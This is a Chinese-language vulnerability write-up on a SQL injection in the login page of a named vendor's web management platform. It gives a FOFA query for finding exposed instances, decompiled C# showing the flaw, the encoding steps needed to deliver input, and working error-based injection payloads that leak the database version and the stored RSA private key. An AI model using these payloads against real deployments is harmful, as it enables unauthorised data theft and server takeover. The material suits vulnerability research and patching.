漏洞简介
福建银达汇智信息科技股份有限公司成立于2009年,位于福建省福州市,是一家以从事软件和信息技术服务业为主的企业。银达汇智智慧综合管理平台 login.aspx 存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码,站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
fofa语法
title="智慧综合管理平台登入"
漏洞分析
直接看 login.aspx 的业务逻辑实现不管关键代码
protected void Page_Load(object sender, EventArgs e)
{
Login.loginfo.Info((object) nameof (Page_Load));
string str1 = this.Request.QueryString["action"];
string verifyStr = this.Request.QueryString["ediStr"];
if (!this.IsPostBack)
RSAHelper.InitKeys(0);
this.IsValidateCode = ConfigurationManager.AppSettings["IsValidateCode"];
if (string.IsNullOrEmpty(this.IsValidateCode))
this.IsValidateCode = "1";
this.rsa.InitCrypto();
this.param = this.rsa.ExportParameters(true);
if (string.op_Equality(str1, "login"))
{
string hex1 = WRequest.GetString("username");
string hex2 = WRequest.GetString("pwd");
string hex3 = WRequest.GetString("validate");
string base64_1 = RSAHelper.ASCIIBytesToString(this.rsa.Decrypt(RSAHelper.HexStringToBytes(hex1)));
string base64_2 = RSAHelper.ASCIIBytesToString(this.rsa.Decrypt(RSAHelper.HexStringToBytes(hex2)));
string str2 = RSAHelper.ASCIIBytesToString(this.rsa.Decrypt(RSAHelper.HexStringToBytes(hex3)));
string user_name = RSAHelper.GB2312BytesToString(RSAHelper.FromBase64(base64_1));
string pwd = RSAHelper.GB2312BytesToString(RSAHelper.FromBase64(base64_2));
string[] strArray = str2.Split(new char[1]{ '\\' });
if (strArray.Length != 3)
{
this.Response.Write(SystemHelper.WriteResult("error", "验证出错!"));
this.Response.End();
}
if (string.op_Equality(this.IsValidateCode, "1"))
{
if (string.op_Inequality(user_name, RSAHelper.GB2312BytesToString(RSAHelper.FromBase64(strArray[0]))) || string.op_Inequality(pwd, RSAHelper.GB2312BytesToString(RSAHelper.FromBase64(strArray[1]))) || string.op_Inequality(Convert.ToString(this.Session["ValidateCode"]).ToUpper(), RSAHelper.GB2312BytesToString(RSAHelper.FromBase64(strArray[2])).ToUpper()))
{
this.Session["ValidateCode"] = (object) "";
this.Response.Write(SystemHelper.WriteResult("error", "验证出错!"));
this.Response.End();
}
}
else if (string.op_Inequality(user_name, RSAHelper.GB2312BytesToString(RSAHelper.FromBase64(strArray[0]))) || string.op_Inequality(pwd, RSAHelper.GB2312BytesToString(RSAHelper.FromBase64(strArray[1]))))
{
this.Session["ValidateCode"] = (object) "";
this.Response.Write(SystemHelper.WriteResult("error", "验证出错!"));
this.Response.End();
}
this.GetUser(user_name, pwd, "");
}
上述处理逻辑大致如下图所示

对传入进来的 validate 内容进行 hex解码后使用 rsa 解密还原成 base64内容,再根据 反斜杠 \ 进行分割成数组,如果不满足 3 个数组,则输出验证出错。然后根据配置文件里是否启用验证码,如果启用则判断三个数组里的内容是否分别和输入的用户名、密码、验证码是否相等。如果没有启用验证码则只比较用户名和密码是否和输入的用户名、密码相等。都校验通过后进入 GetUser 函数,其业务逻辑实现如下
public void GetUser(string user_name, string pwd, string LoginIP)
{
if (string.op_Equality(this.IsValidateCode, "0") || string.op_Equality(Convert.ToString(this.Session["ValidateCode"]).ToUpper(), WRequest.GetString("validateCode").ToUpper()))
{
SysUserDao sysUserDao = new SysUserDao();
SysUser model1 = sysUserDao.GetItem(string.Format("(account='{0}' OR id_card='{0}') ", (object) user_name));
if (model1 != null)
user_name 直接拼接进SQL语句中执行,造成SQL注入漏洞。
登录业务涉及到RSA加解密以及hex、base64编解码操作
username、pwd均都是经过base64-->rsa 加密后转为 hex 再提交
validateCode 为验证码
而 validate 由 base64 编码后的 user_name + "\" + base64 编码后的 pwd + "\" + base64 编码后的 validateCode 整体再进行ras加密后转为hex
只是在加密处理 validate 时需要注意,总体加密流程如下
hex(rsa(base64(user_name)\base64(pwd)\base64(validateCode)))
漏洞复现
使用 admin')and 1=@@version-- 的 username 进行报错注入测试

成功通过报错注入,爆出数据版本信息。
还可以获得 rsa 公私钥(存放在数据库里)
public void InitCrypto()
{
this._sp = new RSACryptoServiceProvider(new CspParameters()
{
Flags = (CspProviderFlags) 1
});
((AsymmetricAlgorithm) this._sp).FromXmlString(new SysRsaParamDao().GetItem(1L).PrivateKey);
}
namespace KR.Dao
{
[Serializable]
public class SysRsaParamDao : BaseProvider<SysRsaParam>
{
public DataTable GetDataTabelToExcel(int top, string condition)
{
if (string.IsNullOrWhiteSpace(condition))
condition = " 1=1 ";
string sql = string.Format("select top {0} id as id, PrivateKey as 私钥, PublicKey as 公钥, org_id as 企业id from sys_rsa_param where {1}", (object) top, (object) condition);
return DbHelperFactory.GetDbHelper().Query(sql).Tables[0];
}
}
}
admin')and 1=(select top 1 PrivateKey from sys_rsa_param)--
admin')and 1=(select top 1 PublicKey from sys_rsa_param)--
拿到公私钥后就可以随意加解密了,拿到的是xml格式的密钥,可参考 .NET RSA 算法的 XML 格式简介及其转换 PEM 格式 这篇文章对其进行转换为 PEM 格式,方便调用其他工具进行加解密。


